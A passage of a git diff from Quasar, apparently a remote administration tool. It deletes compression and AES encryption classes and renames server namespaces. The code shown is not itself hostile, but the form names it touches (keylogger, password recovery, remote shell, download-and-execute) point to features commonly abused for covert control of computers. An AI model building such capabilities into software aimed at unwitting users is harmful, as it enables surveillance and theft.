+ 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - src += 3; - dst += 2; - } - else - { - int old_src = src; - int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 - ? 255 - : (source.Length - UNCOMPRESSED_END - src + 1 - 1)); - - src += 4; - if (source[o + src - old_src] == source[src]) - { - src++; - if (source[o + src - old_src] == source[src]) - { - src++; - while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) - src++; - } - } - - int matchlen = src - old_src; - - hash <<= 4; - if (matchlen < 18) - { - int f = (hash | (matchlen - 2)); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - dst += 2; - } - else - { - FastWrite(destination, dst, hash | (matchlen << 16), 3); - dst += 3; - } - } - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - lits = 0; - } - else - { - lits++; - hash_counter[hash] = 1; - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); - } - - } - else - { - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - int o, offset2; - int matchlen, k, m, best_k = 0; - byte c; - int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 - ? 255 - : (source.Length - UNCOMPRESSED_END - src + 1 - 1)); - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - - c = hash_counter[hash]; - matchlen = 0; - offset2 = 0; - for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) - { - o = hashtable[hash, k]; - if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && - (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) - { - m = 3; - while (source[o + m] == source[src + m] && m < remaining) - m++; - if ((m > matchlen) || (m == matchlen && o > offset2)) - { - offset2 = o; - matchlen = m; - best_k = k; - } - } - } - o = offset2; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; - c++; - hash_counter[hash] = c; - - if (matchlen >= 3 && src - o < 131071) - { - int offset = src - o; - - for (int u = 1; u < matchlen; u++) - { - fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); - hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - c = hash_counter[hash]++; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; - } - - src += matchlen; - cword_val = ((cword_val >> 1) | 0x80000000); - - if (matchlen == 3 && offset <= 63) - { - FastWrite(destination, dst, offset << 2, 1); - dst++; - } - else if (matchlen == 3 && offset <= 16383) - { - FastWrite(destination, dst, (offset << 2) | 1, 2); - dst += 2; - } - else if (matchlen <= 18 && offset <= 1023) - { - FastWrite(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); - dst += 2; - } - else if (matchlen <= 33) - { - FastWrite(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); - dst += 3; - } - else - { - FastWrite(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); - dst += 4; - } - lits = 0; - } - else - { - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - } - } - } - while (src <= source.Length - 1) - { - if ((cword_val & 1) == 1) - { - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - src++; - dst++; - cword_val = (cword_val >> 1); - } - while ((cword_val & 1) != 1) - { - cword_val = (cword_val >> 1); - } - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); - WriteHeader(destination, level, true, source.Length, dst); - d2 = new byte[dst]; - Array.Copy(destination, d2, dst); - return d2; - } - - - private static void FastWrite(byte[] a, int i, int value, int numbytes) - { - for (int j = 0; j < numbytes; j++) - a[i + j] = (byte)(value >> (j * 8)); - } - - public static byte[] Decompress(byte[] source) - { - if (source.Length == 0) - return new byte[0]; - - int level = (source[0] >> 2) & 0x3; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - int size = SizeDecompressed(source); - int src = HeaderLength(source); - int dst = 0; - uint cword_val = 1; - byte[] destination = new byte[size]; - int[] hashtable = new int[4096]; - byte[] hash_counter = new byte[4096]; - int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; - int last_hashed = -1; - int hash; - uint fetch = 0; - - if ((source[0] & 1) != 1) - { - byte[] d2 = new byte[size]; - Array.Copy(source, HeaderLength(source), d2, 0, size); - return d2; - } - - for (; ; ) - { - if (cword_val == 1) - { - cword_val = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - src += 4; - if (dst <= last_matchstart) - { - if (level == 1) - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - else - fetch = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | - (source[src + 3] << 24)); - } - } - - if ((cword_val & 1) == 1) - { - uint matchlen; - uint offset2; - - cword_val = cword_val >> 1; - - if (level == 1) - { - hash = ((int)fetch >> 4) & 0xfff; - offset2 = (uint)hashtable[hash]; - - if ((fetch & 0xf) != 0) - { - matchlen = (fetch & 0xf) + 2; - src += 2; - } - else - { - matchlen = source[src + 2]; - src += 3; - } - } - else - { - uint offset; - if ((fetch & 3) == 0) - { - offset = (fetch & 0xff) >> 2; - matchlen = 3; - src++; - } - else if ((fetch & 2) == 0) - { - offset = (fetch & 0xffff) >> 2; - matchlen = 3; - src += 2; - } - else if ((fetch & 1) == 0) - { - offset = (fetch & 0xffff) >> 6; - matchlen = ((fetch >> 2) & 15) + 3; - src += 2; - } - else if ((fetch & 127) != 3) - { - offset = (fetch >> 7) & 0x1ffff; - matchlen = ((fetch >> 2) & 0x1f) + 2; - src += 3; - } - else - { - offset = (fetch >> 15); - matchlen = ((fetch >> 7) & 255) + 3; - src += 4; - } - offset2 = (uint)(dst - offset); - } - - destination[dst + 0] = destination[offset2 + 0]; - destination[dst + 1] = destination[offset2 + 1]; - destination[dst + 2] = destination[offset2 + 2]; - - for (int i = 3; i < matchlen; i += 1) - { - destination[dst + i] = destination[offset2 + i]; - } - - dst += (int)matchlen; - - if (level == 1) - { - fetch = - (uint) - (destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | - (destination[last_hashed + 3] << 16)); - while (last_hashed < dst - matchlen) - { - last_hashed++; - hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); - } - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - } - else - { - fetch = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | - (source[src + 3] << 24)); - } - last_hashed = dst - 1; - } - else - { - if (dst <= last_matchstart) - { - destination[dst] = source[src]; - dst += 1; - src += 1; - cword_val = cword_val >> 1; - - if (level == 1) - { - while (last_hashed < dst - 3) - { - last_hashed++; - int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | - (destination[last_hashed + 2] << 16); - hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - } - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); - } - else - { - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); - } - } - else - { - while (dst <= size - 1) - { - if (cword_val == 1) - { - src += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - dst++; - src++; - cword_val = cword_val >> 1; - } - return destination; - } - } - } - } - } -} \ No newline at end of file diff --git a/Quasar.Server/Core/Cryptography/AES.cs b/Quasar.Server/Core/Cryptography/AES.cs deleted file mode 100644 index d93ad70b..00000000 --- a/Quasar.Server/Core/Cryptography/AES.cs +++ /dev/null @@ -1,197 +0,0 @@ -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; -using Quasar.Server.Core.Helper; - -namespace Quasar.Server.Core.Cryptography -{ - public static class AES - { - private const int IvLength = 16; - private const int HmacSha256Length = 32; - private static byte[] _defaultKey; - private static byte[] _defaultAuthKey; - - public static readonly byte[] Salt = - { - 0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56, - 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41 - }; - - public static void SetDefaultKey(string key) - { - using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 50000)) - { - _defaultKey = derive.GetBytes(16); - _defaultAuthKey = derive.GetBytes(64); - } - } - - public static string Encrypt(string input, string key) - { - return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input), Encoding.UTF8.GetBytes(key))); - } - - public static string Encrypt(string input) - { - return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); - } - - /* FORMAT - * ---------------------------------------- - * | HMAC | IV | CIPHERTEXT | - * ---------------------------------------- - * 32 bytes 16 bytes - */ - public static byte[] Encrypt(byte[] input) - { - if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); - if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); - - byte[] data = input, encdata = new byte[0]; - - try - { - using (var ms = new MemoryStream()) - { - ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC - using (var aesProvider = new AesCryptoServiceProvider()) - { - aesProvider.KeySize = 128; - aesProvider.BlockSize = 128; - aesProvider.Mode = CipherMode.CBC; - aesProvider.Padding = PaddingMode.PKCS7; - aesProvider.Key = _defaultKey; - aesProvider.GenerateIV(); - - using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) - { - ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext - cs.Write(data, 0, data.Length); - cs.FlushFinalBlock(); - - using (var hmac = new HMACSHA256(_defaultAuthKey)) - { - byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext - ms.Position = 0; // write hash at beginning - ms.Write(hash, 0, hash.Length); - } - } - } - - encdata = ms.ToArray(); - } - } - catch - { - } - return encdata; - } - - public static byte[] Encrypt(byte[] input, byte[] key) - { - if (key == null || key.Length == 0) throw new Exception("Key can not be empty."); - - byte[] authKey; - using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(key, Salt, 50000)) - { - key = derive.GetBytes(16); - authKey = derive.GetBytes(64); - } - - byte[] data = input, encdata = new byte[0]; - - try - { - using (var ms = new MemoryStream()) - { - ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC - using (var aesProvider = new AesCryptoServiceProvider()) - { - aesProvider.KeySize = 128; - aesProvider.BlockSize = 128; - aesProvider.Mode = CipherMode.CBC; - aesProvider.Padding = PaddingMode.PKCS7; - aesProvider.Key = key; - aesProvider.GenerateIV(); - - using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) - { - ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext - cs.Write(data, 0, data.Length); - cs.FlushFinalBlock(); - - using (var hmac = new HMACSHA256(authKey)) - { - byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext - ms.Position = 0; // write hash at beginning - ms.Write(hash, 0, hash.Length); - } - } - } - - encdata = ms.ToArray(); - } - } - catch - { - } - return encdata; - } - - public static string Decrypt(string input) - { - return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input))); - } - - public static byte[] Decrypt(byte[] input) - { - if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); - if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); - - byte[] data = new byte[0]; - - try - { - using (var ms = new MemoryStream(input)) - { - using (var aesProvider = new AesCryptoServiceProvider()) - { - aesProvider.KeySize = 128; - aesProvider.BlockSize = 128; - aesProvider.Mode = CipherMode.CBC; - aesProvider.Padding = PaddingMode.PKCS7; - aesProvider.Key = _defaultKey; - - // read first 32 bytes for HMAC - using (var hmac = new HMACSHA256(_defaultAuthKey)) - { - var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); - byte[] receivedHash = new byte[HmacSha256Length]; - ms.Read(receivedHash, 0, receivedHash.Length); - - if (!CryptographyHelper.AreEqual(hash, receivedHash)) - return data; - } - - byte[] iv = new byte[IvLength]; - ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext - aesProvider.IV = iv; - - using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) - { - byte[] temp = new byte[ms.Length - IvLength + 1]; - data = new byte[cs.Read(temp, 0, temp.Length)]; - Buffer.BlockCopy(temp, 0, data, 0, data.Length); - } - } - } - } - catch - { - } - return data; - } - } -} diff --git a/Quasar.Server/Core/Helper/CryptographyHelper.cs b/Quasar.Server/Core/Helper/CryptographyHelper.cs deleted file mode 100644 index b15b9086..00000000 --- a/Quasar.Server/Core/Helper/CryptographyHelper.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using System.Runtime.CompilerServices; -using System.Security.Cryptography; -using Quasar.Server.Core.Cryptography; - -namespace Quasar.Server.Core.Helper -{ - public static class CryptographyHelper - { - /// - /// Compares two byte arrays for equality. - /// - /// Byte array to compare - /// Byte array to compare - /// True if equal, else false - /// - /// Assumes that the byte arrays have the same length. - /// This method is safe against timing attacks. - /// - [MethodImpl(MethodImplOptions.NoOptimization)] - public static bool AreEqual(byte[] a1, byte[] a2) - { - bool result = true; - for (int i = 0; i < a1.Length; ++i) - { - if (a1[i] != a2[i]) - result = false; - } - return result; - } - - public static void DeriveKeys(string password, out string key, out string authKey) - { - using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(password, AES.Salt, 50000)) - { - key = Convert.ToBase64String(derive.GetBytes(16)); - authKey = Convert.ToBase64String(derive.GetBytes(64)); - } - } - } -} diff --git a/Quasar.Server/Core/Data/BuildOptions.cs b/Quasar.Server/Data/BuildOptions.cs similarity index 96% rename from Quasar.Server/Core/Data/BuildOptions.cs rename to Quasar.Server/Data/BuildOptions.cs index dfef8a76..b9151029 100644 --- a/Quasar.Server/Core/Data/BuildOptions.cs +++ b/Quasar.Server/Data/BuildOptions.cs @@ -1,4 +1,4 @@ -namespace Quasar.Server.Core.Data +namespace Quasar.Server.Data { public class BuildOptions { diff --git a/Quasar.Server/Core/Data/BuilderProfile.cs b/Quasar.Server/Data/BuilderProfile.cs similarity index 99% rename from Quasar.Server/Core/Data/BuilderProfile.cs rename to Quasar.Server/Data/BuilderProfile.cs index 530b6b46..1e6d667f 100644 --- a/Quasar.Server/Core/Data/BuilderProfile.cs +++ b/Quasar.Server/Data/BuilderProfile.cs @@ -3,9 +3,9 @@ using System.Windows.Forms; using System.Xml; using System.Xml.XPath; -using Quasar.Server.Core.Helper; +using Quasar.Server.Helper; -namespace Quasar.Server.Core.Data +namespace Quasar.Server.Data { public class BuilderProfile { diff --git a/Quasar.Server/Core/Data/Host.cs b/Quasar.Server/Data/Host.cs similarity index 93% rename from Quasar.Server/Core/Data/Host.cs rename to Quasar.Server/Data/Host.cs index 27dad5d6..5568f2ed 100644 --- a/Quasar.Server/Core/Data/Host.cs +++ b/Quasar.Server/Data/Host.cs @@ -1,4 +1,4 @@ -namespace Quasar.Server.Core.Data +namespace Quasar.Server.Data { public class Host { diff --git a/Quasar.Server/Core/Data/Settings.cs b/Quasar.Server/Data/Settings.cs similarity index 99% rename from Quasar.Server/Core/Data/Settings.cs rename to Quasar.Server/Data/Settings.cs index f998adee..19f59caf 100644 --- a/Quasar.Server/Core/Data/Settings.cs +++ b/Quasar.Server/Data/Settings.cs @@ -3,7 +3,7 @@ using System.Xml; using System.Xml.XPath; -namespace Quasar.Server.Core.Data +namespace Quasar.Server.Data { public static class Settings { diff --git a/Quasar.Server/Core/Extensions/ListViewExtensions.cs b/Quasar.Server/Extensions/ListViewExtensions.cs similarity index 91% rename from Quasar.Server/Core/Extensions/ListViewExtensions.cs rename to Quasar.Server/Extensions/ListViewExtensions.cs index f3c65db6..cb3b36fd 100644 --- a/Quasar.Server/Core/Extensions/ListViewExtensions.cs +++ b/Quasar.Server/Extensions/ListViewExtensions.cs @@ -1,8 +1,8 @@ using System.Windows.Forms; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Utilities; +using Quasar.Server.Helper; +using Quasar.Server.Utilities; -namespace Quasar.Server.Core.Extensions +namespace Quasar.Server.Extensions { public static class ListViewExtensions { diff --git a/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Server/Extensions/RegistryKeyExtensions.cs similarity index 98% rename from Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs rename to Quasar.Server/Extensions/RegistryKeyExtensions.cs index 34568386..1baad3f0 100644 --- a/Quasar.Server/Core/Extensions/RegistryKeyExtensions.cs +++ b/Quasar.Server/Extensions/RegistryKeyExtensions.cs @@ -1,7 +1,7 @@ using System; using Microsoft.Win32; -namespace Quasar.Server.Core.Extensions +namespace Quasar.Server.Extensions { public static class RegistryKeyExtensions { diff --git a/Quasar.Server/Core/Extensions/SocketExtensions.cs b/Quasar.Server/Extensions/SocketExtensions.cs similarity index 98% rename from Quasar.Server/Core/Extensions/SocketExtensions.cs rename to Quasar.Server/Extensions/SocketExtensions.cs index d879f792..d4cfa5b1 100644 --- a/Quasar.Server/Core/Extensions/SocketExtensions.cs +++ b/Quasar.Server/Extensions/SocketExtensions.cs @@ -2,7 +2,7 @@ using System.Net.Sockets; using System.Runtime.InteropServices; -namespace Quasar.Server.Core.Extensions +namespace Quasar.Server.Extensions { /// /// Socket Extension for KeepAlive diff --git a/Quasar.Server/Forms/FrmAbout.cs b/Quasar.Server/Forms/FrmAbout.cs index 9a466b3e..c2298164 100644 --- a/Quasar.Server/Forms/FrmAbout.cs +++ b/Quasar.Server/Forms/FrmAbout.cs @@ -1,7 +1,7 @@ using System; using System.Diagnostics; using System.Windows.Forms; -using Quasar.Server.Core.Data; +using Quasar.Server.Data; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs index 3ab68587..ef2e4151 100644 --- a/Quasar.Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -6,9 +6,9 @@ using System.Linq; using System.Threading; using System.Windows.Forms; -using Quasar.Server.Core.Build; -using Quasar.Server.Core.Data; -using Quasar.Server.Core.Helper; +using Quasar.Server.Build; +using Quasar.Server.Data; +using Quasar.Server.Helper; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmConnections.cs b/Quasar.Server/Forms/FrmConnections.cs index e9150cf6..b336b72a 100644 --- a/Quasar.Server/Forms/FrmConnections.cs +++ b/Quasar.Server/Forms/FrmConnections.cs @@ -3,9 +3,9 @@ using System.Windows.Forms; using Quasar.Common.Messages; using Quasar.Common.Models; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmDownloadAndExecute.cs b/Quasar.Server/Forms/FrmDownloadAndExecute.cs index 2d9ac108..69715f02 100644 --- a/Quasar.Server/Forms/FrmDownloadAndExecute.cs +++ b/Quasar.Server/Forms/FrmDownloadAndExecute.cs @@ -1,6 +1,6 @@ using System; using System.Windows.Forms; -using Quasar.Server.Core.Helper; +using Quasar.Server.Helper; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmFileManager.cs b/Quasar.Server/Forms/FrmFileManager.cs index 27ecbef2..ea0120e7 100644 --- a/Quasar.Server/Forms/FrmFileManager.cs +++ b/Quasar.Server/Forms/FrmFileManager.cs @@ -6,10 +6,10 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Server.Controls; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; +using Quasar.Server.Helper; +using Quasar.Server.Messages; using Quasar.Server.Models; +using Quasar.Server.Networking; using Process = System.Diagnostics.Process; namespace Quasar.Server.Forms diff --git a/Quasar.Server/Forms/FrmKeylogger.cs b/Quasar.Server/Forms/FrmKeylogger.cs index b01d77c4..c775c918 100644 --- a/Quasar.Server/Forms/FrmKeylogger.cs +++ b/Quasar.Server/Forms/FrmKeylogger.cs @@ -3,9 +3,9 @@ using System.IO; using System.Windows.Forms; using Quasar.Common.Messages; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index 043277d5..7218ab2f 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -4,17 +4,17 @@ using System.Linq; using System.Threading; using System.Windows.Forms; +using Quasar.Common.Cryptography; using Quasar.Common.Enums; using Quasar.Common.IO; using Quasar.Common.Messages; -using Quasar.Server.Core.Cryptography; -using Quasar.Server.Core.Data; -using Quasar.Server.Core.Extensions; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; -using Quasar.Server.Core.Networking.Utilities; -using Quasar.Server.Core.Utilities; +using Quasar.Server.Data; +using Quasar.Server.Extensions; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; +using Quasar.Server.Networking.Utilities; +using Quasar.Server.Utilities; namespace Quasar.Server.Forms { @@ -34,7 +34,7 @@ public partial class FrmMain : Form public FrmMain() { - AES.SetDefaultKey(Settings.Password); + Aes128.SetDefaultKey(Settings.Password); _clientStatusHandler = new ClientStatusHandler(); RegisterMessageHandler(); @@ -135,7 +135,7 @@ private void lstClients_SelectedIndexChanged(object sender, EventArgs e) UpdateWindowTitle(); } - private void ServerState(Core.Networking.Server server, bool listening, ushort port) + private void ServerState(Networking.Server server, bool listening, ushort port) { try { diff --git a/Quasar.Server/Forms/FrmPasswordRecovery.cs b/Quasar.Server/Forms/FrmPasswordRecovery.cs index 933b42c6..79d03baf 100644 --- a/Quasar.Server/Forms/FrmPasswordRecovery.cs +++ b/Quasar.Server/Forms/FrmPasswordRecovery.cs @@ -6,10 +6,10 @@ using System.Windows.Forms; using Quasar.Common.Messages; using Quasar.Common.Models; -using Quasar.Server.Core.Data; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; +using Quasar.Server.Data; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmRegValueEditBinary.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.cs index cf92c893..72af620b 100644 --- a/Quasar.Server/Forms/FrmRegValueEditBinary.cs +++ b/Quasar.Server/Forms/FrmRegValueEditBinary.cs @@ -1,7 +1,7 @@ using System; using System.Windows.Forms; using Quasar.Common.Models; -using Quasar.Server.Core.Registry; +using Quasar.Server.Registry; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmRegValueEditString.cs b/Quasar.Server/Forms/FrmRegValueEditString.cs index 3cc86f06..d068af9e 100644 --- a/Quasar.Server/Forms/FrmRegValueEditString.cs +++ b/Quasar.Server/Forms/FrmRegValueEditString.cs @@ -2,7 +2,7 @@ using System.Windows.Forms; using Quasar.Common.Models; using Quasar.Common.Utilities; -using Quasar.Server.Core.Registry; +using Quasar.Server.Registry; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmRegistryEditor.cs b/Quasar.Server/Forms/FrmRegistryEditor.cs index ea15d843..b2ef318c 100644 --- a/Quasar.Server/Forms/FrmRegistryEditor.cs +++ b/Quasar.Server/Forms/FrmRegistryEditor.cs @@ -8,11 +8,11 @@ using Quasar.Common.Models; using Quasar.Common.Utilities; using Quasar.Server.Controls; -using Quasar.Server.Core.Extensions; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; -using Quasar.Server.Core.Registry; +using Quasar.Server.Extensions; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; +using Quasar.Server.Registry; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.cs b/Quasar.Server/Forms/FrmRemoteDesktop.cs index d403dc09..cbc09562 100644 --- a/Quasar.Server/Forms/FrmRemoteDesktop.cs +++ b/Quasar.Server/Forms/FrmRemoteDesktop.cs @@ -5,10 +5,10 @@ using Gma.System.MouseKeyHook; using Quasar.Common.Enums; using Quasar.Common.Messages; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; -using Quasar.Server.Core.Utilities; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmRemoteShell.cs b/Quasar.Server/Forms/FrmRemoteShell.cs index cffe6bd2..e27d7da5 100644 --- a/Quasar.Server/Forms/FrmRemoteShell.cs +++ b/Quasar.Server/Forms/FrmRemoteShell.cs @@ -3,9 +3,9 @@ using System.Drawing; using System.Windows.Forms; using Quasar.Common.Messages; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmReverseProxy.cs b/Quasar.Server/Forms/FrmReverseProxy.cs index f2fc5102..da5bc2b0 100644 --- a/Quasar.Server/Forms/FrmReverseProxy.cs +++ b/Quasar.Server/Forms/FrmReverseProxy.cs @@ -3,11 +3,11 @@ using System.Net.Sockets; using System.Windows.Forms; using Quasar.Common.Messages; -using Quasar.Server.Core.Data; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; -using Quasar.Server.Core.ReverseProxy; +using Quasar.Server.Data; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; +using Quasar.Server.ReverseProxy; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmSettings.cs b/Quasar.Server/Forms/FrmSettings.cs index a5068ddc..1ca866e3 100644 --- a/Quasar.Server/Forms/FrmSettings.cs +++ b/Quasar.Server/Forms/FrmSettings.cs @@ -1,11 +1,11 @@ using System; using System.Globalization; using System.Windows.Forms; -using Quasar.Server.Core.Cryptography; -using Quasar.Server.Core.Data; -using Quasar.Server.Core.Networking; -using Quasar.Server.Core.Networking.Utilities; -using Quasar.Server.Core.Utilities; +using Quasar.Common.Cryptography; +using Quasar.Server.Data; +using Quasar.Server.Networking; +using Quasar.Server.Networking.Utilities; +using Quasar.Server.Utilities; namespace Quasar.Server.Forms { @@ -75,7 +75,7 @@ private void btnListen_Click(object sender, EventArgs e) { try { - AES.SetDefaultKey(password); + Aes128.SetDefaultKey(password); if (chkUseUpnp.Checked) { @@ -148,7 +148,7 @@ private void btnSave_Click(object sender, EventArgs e) Settings.AutoListen = chkAutoListen.Checked; Settings.ShowPopup = chkPopup.Checked; if (password != Settings.Password) - AES.SetDefaultKey(password); + Aes128.SetDefaultKey(password); Settings.Password = password; Settings.UseUPnP = chkUseUpnp.Checked; Settings.ShowToolTip = chkShowTooltip.Checked; diff --git a/Quasar.Server/Forms/FrmShowMessagebox.cs b/Quasar.Server/Forms/FrmShowMessagebox.cs index 619baf15..557ad33f 100644 --- a/Quasar.Server/Forms/FrmShowMessagebox.cs +++ b/Quasar.Server/Forms/FrmShowMessagebox.cs @@ -1,6 +1,6 @@ using System; using System.Windows.Forms; -using Quasar.Server.Core.Helper; +using Quasar.Server.Helper; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmStartupAdd.cs b/Quasar.Server/Forms/FrmStartupAdd.cs index 982bd0e0..68202e4f 100644 --- a/Quasar.Server/Forms/FrmStartupAdd.cs +++ b/Quasar.Server/Forms/FrmStartupAdd.cs @@ -3,7 +3,7 @@ using System.Windows.Forms; using Quasar.Common.Enums; using Quasar.Common.Models; -using Quasar.Server.Core.Helper; +using Quasar.Server.Helper; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar.Server/Forms/FrmStartupManager.cs index b1c5c956..c7edef08 100644 --- a/Quasar.Server/Forms/FrmStartupManager.cs +++ b/Quasar.Server/Forms/FrmStartupManager.cs @@ -5,9 +5,9 @@ using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Models; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmSystemInformation.cs b/Quasar.Server/Forms/FrmSystemInformation.cs index 